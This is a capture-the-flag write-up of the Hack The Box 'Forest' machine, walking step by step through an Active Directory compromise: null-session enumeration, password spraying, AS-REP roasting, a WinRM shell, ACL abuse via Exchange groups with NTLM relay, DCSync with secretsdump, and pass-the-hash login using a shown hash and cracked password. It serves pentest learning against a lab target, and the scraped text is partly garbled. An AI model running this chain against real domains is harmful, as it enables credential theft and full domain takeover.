Welcome to the HTB Forest write-up! This box was an easy-difficulty Windows box. The attack vectors were very real-life Active Directory exploitation.
We will identify a user that doesn’t require Kerberos pre-Authentication. With that, we can perform an AS-REP Roasting to grab her password hash. After cracking the hash, we can log into the system via the exposed WinRM service.
The user is a part of the “Account Operators” group which is responsible for user account management (add/delete/modify). With that access, we can create a new user and add it to the “Exchange Windows Permissions” group, which by default can perform replication on Domain Controller (= DCSync). Doing that, we can get the NTLM hash for the Administrator user to root the box.
Let’s get started!
Let’s begin with an initial port scan using the following command:
$ nmap -Pn — open -sC -sV -p- -T4 10.10.10.161
Interesting Ports to Note:
- Kerberos (88/TCP) — Windows Kerberos protocol service.
- LDAP (389/TCP) — Active Directory LDAP. LDAP normally provides verbose information about the AD. And if anonymous bind is allowed, we can query many of good AD information, such as user information.
- SMB (445/TCP) — Windows Server Message Block (“SMB”) protocol. For SMB, it is always good to check if it allows null session. If allowed, like LDAP we can enumerate many of useful AD information.
- WinRM (5985/TCP) — Microsoft implementation of WS-Management protocol. This can allow a remote connection via PowerShell.
For this box, there are two ways to enumerate AD users: 1) LDAP null-bind; 2) SMB null-session. In my experience, both of them are very common mis-configurations that can be found during the real pentesting engagements.
#1 — LDAP Null-bind
Whenever I see a LDAP service, I run the following
$ ldapsearch -H ldap://10.10.10.161 -x -s base '' "(objectClass=*)" "*" +
It is just doing a base search on any available
objectClass, but it can disclose some good information, such as exact domain naming context.
Next, we can check for a null-bind on the LDAP.
$ ldapsearch -H ldap://10.10.10.161 -x -b DC=htb,DC=local
And it worked. I can go on and on about all LDAP enumeration techniques and what we can abuse for this null-bind access, but let’s just focus on user enumeration on this walkthrough :)
So, for the user enumeration, we can search for
objectClass as person and search for
### LDAP User Query
$ ldapsearch -H ldap://10.10.10.161 -x -b DC=htb,DC=local "(objectClass=person)" | grep "sAMAccountName:"sAMAccountName: Guest... Machine Accounts Redacted ...sAMAccountName: sebastien
#2 — SMB Null-session
AD users can be also enumerated if SMB allows null authentication. For this, we can use a famous tool called
enum4linux. This tool is just a wrapper around a bunch of other rcp client tools, but it makes it so handy.
$ enum4linux -v 10.10.10.161
If null-session allowed, this will output A LOT OF data. It will also enumerate all the users.
[V] Attempting to get userlist with command: rpcclient -W '' -c enumdomusers -U''%'' '10.10.10.161' 2>&1
user:[krbtgt] rid:[0x1f6]... Machine Accounts Redacted ...user:[sebastien] rid:[0x479]
user:[svc-alfresco] rid:[0x47b] # Additional user found
It was interesting that LDAP
sAMAccountName: search did not identify the “svc-alfresco” user account. Further research found that the account was a part of the “Service Accounts” OU and somehow
sAMAccountName: did not exist. Not too sure if it was because of a limitation of null-bind access.
Once user enumeration is done, we can quickly check if there is any open shares we can also access with null authentication. However, it was nothing.
$ smbclient -L 10.10.10.161
Kerberos Password Spraying
It is very rare for the HTB challenges that it requires us to do a password guessing attack. However, my thought process at that time was since we could enumerate valid users and protocols like Kerberos, LDAP and SMB are available, we can do some password guessing attacks.
Before that I quickly checked the password policy on the box in case if there is any lockout threshold set.
enum4linux already found the password policy information and Account Lockout Threshold was set to “None.”
Next, we can use a really handy Kerberos password guessing tool called
kerbrute. When you do an internal pentest, Kerberos-based password guessing preferred over other ones like LDAP or SMB. There are a couple of reasons why, but the biggest reasons are because: 1) Not all environment monitors for Kerberos authentication failures; 2) Kerberos-based authentication is much faster than others; 3) It tends to give us some verbose errors when login fails.
Before doing a full blown password guessing with a password list, I tested the tool with verbose option. And it ended up discovering a user that does not require a pre-Authentication (= svc-alfresco).
$ ./kerbrute passwordspray -d htb.local --dc 10.10.10.161 user.txt 'password123' -v
For the user accounts that are enabled with no pre-Authentication, it’s vulnerable to AS-REP Roasting attack. We can request for that user’s Kerberos TGT ticket without providing any authentication, and the TGT ticket will be encrypted with the account’s password. So we can crack the hash offline.
GetNPUsers.py script, we can do the attack:
$ ./GetNPUsers.py htb.local/svc-alfresco -no-pass -dc-ip 10.10.10.161
Running the hash with
John with rockyou.txt, we can successfully crack the plaintext password of the “svc-alfresco” user (= s3rvice).
CrackMapExec, we can confirm the password is valid.
nmap scan, there are only few services that we can use to get an interactive shell: SMB (TCP/445) and WinRM (TCP/5985). For SMB, it would be limited for us to gain a shell using remote clients such as
wmiexec.py unless we have an administrative access on the box. However, for the WinRM, we could gain a PowerShell-based shell if our user account is part of the “Remote Management Users” group. I used the following commands to verify the “svc-alfresco” user is indeed part of the “Remote Management Users”:
[LDAP to Query Members of the "Remote Management Users"]
$ ldapsearch -H ldap://10.10.10.161 -x -b DC=htb,DC=local | grep -A 11 -i "Remote Management Users"[NET RPC Command - Query "Privileged IT Accounts"]
$ net rpc group members 'Privileged IT Accounts' -W 'htb.local' -I '10.10.10.161' -U'svc-alfresco'%'s3rvice' 2>&1[NET RPC Command - Query "Service Accounts"]
$ net rpc group members 'Service Accounts' -W 'htb.local' -I '10.10.10.161' -U'svc-alfresco'%'s3rvice' 2>&1
For the shell, we can use a tool called
$ ruby evil-winrm.rb -i 10.10.10.161 -u svc-alfresco -p s3rvice
Sweet. And with that access, we can read the
$ ./bloodhound.py -u svc-alfresco -p s3rvice -d htb.local -ns 10.10.10.161
Once it was done, I fed the results into the
Bloodhound for the graphical view. And searched for the “svc-alfresco” user. This revealed that the user was actually part of the “Account Operators” group.
This is one of the privileged groups in AD and can do the following:
Escalating Privileges with Exchange
When we also query for domain groups, we can see that groups related to Exchange.
Since we know that the “Account Operators” group can create a new user and add it to domain groups (except for administrative groups, such as “Domain Admins”), we can leverage this to do the following privilege escalation attack to give us a DCSync right (Original write-up by Fox-IT can be found here):
- Create a new user and add it to
Exchange Trusted Subsystemsecurity group. (By default, that group is a member of
Exchange Windows Permissionssecurity group which has
writeDACLpermission on the domain object of the domain where Exchange was installed.)
[Forest Box] - WinRM SessionPS C:\> net user bigb0ss bigb0ss /add /domain
PS C:\> net group "Exchange Trusted Subsystem" bigb0ss /add /domain
2. Run the
ntlmrelayx.py man-in-the-middle (“mitm”) tool with the
--escalate-user flag. What this will essentially do is when it identifies the login attempt of the “bigb0ss” user on the same network, it will mitm to automatically check the user privileges, and if it can modify the domain ACL, it will modify the user permissions to add
Replication-Get-Changes-All privileges to the user account, which can do a DCSync.
[My Kali Box] - Screen #1$ ntlmrelayx.py -t ldap://10.10.10.161 --escalate-user bigb0ss
3. Then, we will do a random authentication using the “bigb0ss” account. In this case, I used
psexec.py to do an authenticate attempt against my own Kali box.
[My Kali Box] - Screen #2$ psexec.py htb.local/bigb0ss:firstname.lastname@example.org
Obviously, this will fail since no SMB service is running on my Kali box, and it won’t be the valid cred for my box anyway.
4. However, the
ntlmrelay.py tool will relay the captured authentication attempt of the
htb.local/bigb0ss:bigb0ss to the
ldap://10.10.10.161 (Forest Box). And since it is valid credentials to the Forces box, it will successfully authenticate and escalate our privileges to add
With the escalated privilege, we can do a DCSync to dump the “Administrator” user’s NTLM hash using the
$ secretsdump.py htb.local/bigb0ss:email@example.com -just-dc-user administrator
psexec.py, we can now login as the “Administrator” user and read the
$ psexec.py firstname.lastname@example.org -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6
Honestly, this was one of the very first HTB machine that replicated a real-life AD exploitation. As a pentester, I really enjoyed doing this one and definitely learnt a lot. Hope you also enjoyed my write-up and thank you for reading!